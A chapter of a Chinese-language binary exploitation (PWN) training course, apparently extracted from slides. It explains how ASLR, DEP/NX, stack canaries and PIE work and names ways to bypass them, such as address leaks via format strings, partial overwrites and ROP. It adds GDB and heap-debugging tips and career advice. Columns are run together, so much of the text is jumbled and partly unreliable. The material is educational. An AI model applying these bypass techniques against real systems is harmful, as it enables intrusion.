1.首先利用格式化字符串漏洞泄露栈地址和libc地址第七章安全防护与攻防对抗在学习了各种漏洞利用技术后,我们需要了解现代系统中的安全防护机制,以及如何在攻防对抗中保持优势本章将介绍常见的安全防护技术,分析它们的工作原理和局限性,并探讨如何在安全研究中应用这些知识防护机制原理绕过技术研究实战经验分享我们将详细讲解、、栈保护等常针对各种防护机制,我们将探讨可能的绕过基于实际经验,我们将分享安全研究中ASLR DEPPWN见安全机制的工作原理、实现方式和保护效或削弱方法,分析其技术原理和适用条件的常见误区、调试技巧和学习方法,帮助学果了解这些防护机制如何阻止或增加漏洞这些知识不仅有助于理解安全边界,也是提员更高效地提升技术能力,在安全研究中少利用的难度,是安全研究的重要基础升防御能力的重要参考走弯路本章的学习目标包括理解各种安全防护机制的技术原理•掌握针对不同防护的对抗技术•学习如何在实际环境中评估系统安全性•培养全面的安全思维和研究方法•安全是一个持续对抗的过程,深入理解防护机制和绕过技术,有助于我们站在更高的视角看待安全问题,无论是进行漏洞研究还是系统防护,都能做出更合理的决策常见防护机制介绍(地址空间布局随机化)ASLRASLR是一种通过随机化进程地址空间来增加漏洞利用难度的技术•基本原理每次程序启动时,堆、栈、共享库等的加载地址都会随机变化•保护效果使攻击者难以预测特定代码或数据的位置•实现方式由操作系统内核在加载程序时实现1•局限性随机化范围有限,可能被信息泄露漏洞突破绕过方法•信息泄露利用格式化字符串等漏洞泄露地址•暴力破解针对随机化位数较少的情况•相对地址利用固定的地址偏移关系•部分覆写只修改地址的低字节,保留随机化的高字节(数据执行保护)DEP/NXDEP/NX通过将数据区域标记为不可执行,防止直接执行注入的shellcode•基本原理内存页面被标记为可读/可写或可执行,但不能同时具备这两种属性•保护效果阻止在栈、堆等数据区域直接执行代码•实现方式硬件NX位(如x86的NX bit)或软件模拟2•局限性不能防止代码重用攻击如ROP绕过方法•代码重用ROP、ret2libc等技术•JIT喷射利用JIT编译器生成可执行代码•寻找可执行内存如.text段、共享库等(栈保护)CanaryCanary通过在返回地址前放置金丝雀值检测栈溢出•基本原理在函数开始时在栈上放置随机值,返回前检查该值是否被修改•保护效果检测并阻止覆盖返回地址的栈溢出攻击•实现方式编译器自动插入检查代码3•局限性可能被信息泄露或精确覆盖绕过绕过方法•泄露Canary值通过格式化字符串等漏洞•精确覆盖在不触碰Canary的情况下修改其他关键数据•覆盖函数指针栈上的函数指针可能在Canary之前(位置无关可执行文件)PIEPIE使程序本身的代码段也参与地址随机化攻防实战心得分享常见误区与调试技巧在PWN安全研究过程中,初学者常常会遇到一些困惑和挑战以下是一些常见误区和应对建议过度依赖工具而忽视基础原理很多初学者过分依赖自动化工具,却不理解底层机制应对策略•先手动构造简单的漏洞利用,理解每一步的原理•尝试不使用辅助工具完成基础任务•阅读工具源码,了解其实现方式忽视环境差异带来的影响不同系统版本、库版本下的行为可能有显著差异•始终确认目标环境的精确版本•在与目标一致的环境中开发和测试•注意32位和64位系统的区别•关注不同glibc版本的堆管理变化调试信息不足导致问题难以定位有效的调试是解决问题的关键•使用log输出记录关键步骤和数据高效调试方法•学会设置有效的断点和观察点•利用core dump分析崩溃原因掌握高效的调试技巧可以显著提升漏洞分析和利用的效率•构建可重现的最小测试用例高级用法GDB使用条件断点b*0x400123if$rax==0x1设置内存观察点watch*0x600123•自定义GDB命令简化操作•利用Python脚本扩展GDB功能堆分析技巧•使用pwndbg/gef的heap命令族跟踪堆状态•在关键堆操作前后检查内存布局变化通过环境变量控制malloc行为MALLOC_CHECK_=1•构建特定的内存分配序列触发目标行为自动化辅助结语成为高手的必经之路PWN经过这七章的学习,我们已经系统地探索了PWN安全攻防的核心技术和实战方法从基础的栈溢出到复杂的堆利用,从单一漏洞到综合攻击链,从原理理解到实战应用,我们已经建立了坚实的PWN技术基础但是,成为真正的PWN高手,这仅仅是旅程的开始专家级1发现零日漏洞,开发创新利用技术,引领安全研究方向高级水平2能够应对复杂保护机制,分析未知漏洞,开发稳定利用代码中级水平3掌握多种漏洞利用技术,能够分析和利用已知类型的漏洞基础水平4理解基本漏洞原理,能够复现和修改简单的漏洞利用代码入门阶段5了解基本概念,熟悉工具使用,具备基础的汇编和C语言知识持续学习与实战演练PWN技术的精通需要持续的学习和大量的实战演练以下是一些继续提升的建议系统化学习持续实践开放心态建立完整的知识体系,不仅了解怎么做,还要理解为什么深入学习计算机体系结构、操作系统参加CTF比赛,挑战各类PWN题目;分析真实世界的漏洞案例;尝试自己发现和利用新漏洞实践是安全技术发展迅速,新的漏洞类型和防护机制不断出现保持开放的学习心态,跟踪前沿研究,尝试原理、编译原理等基础学科,为安全研究打下坚实基础最有效的学习方式,只有通过不断解决实际问题,才能真正掌握技术新工具和方法,勇于挑战自己的舒适区加入安全社区,共享成长安全研究是一个充满活力的领域,有着活跃的社区和丰富的资源通过参与社区,你可以•与志同道合的研究者交流经验•获取最新的研究成果和工具•参与开源项目,提升技术能力•在分享和教学中深化自己的理解记住,每一位安全专家都是从初学者开始的坚持不懈,保持好奇心和探索精神,你也可以成为下一位安全领域的专家和引领者!期待你成为下一位安全英雄!感谢你完成李罡老师的PWN安全攻防培训课程希望这次学习能为你打开二进制安全的大门,激发你对这一领域的热情安全研究需要技术能力,也需要责任感和职业道德愿你在安全之路上不断成长,为构建更安全的数字世界贡献力量!。
个人认证
优秀文档
获得点赞 0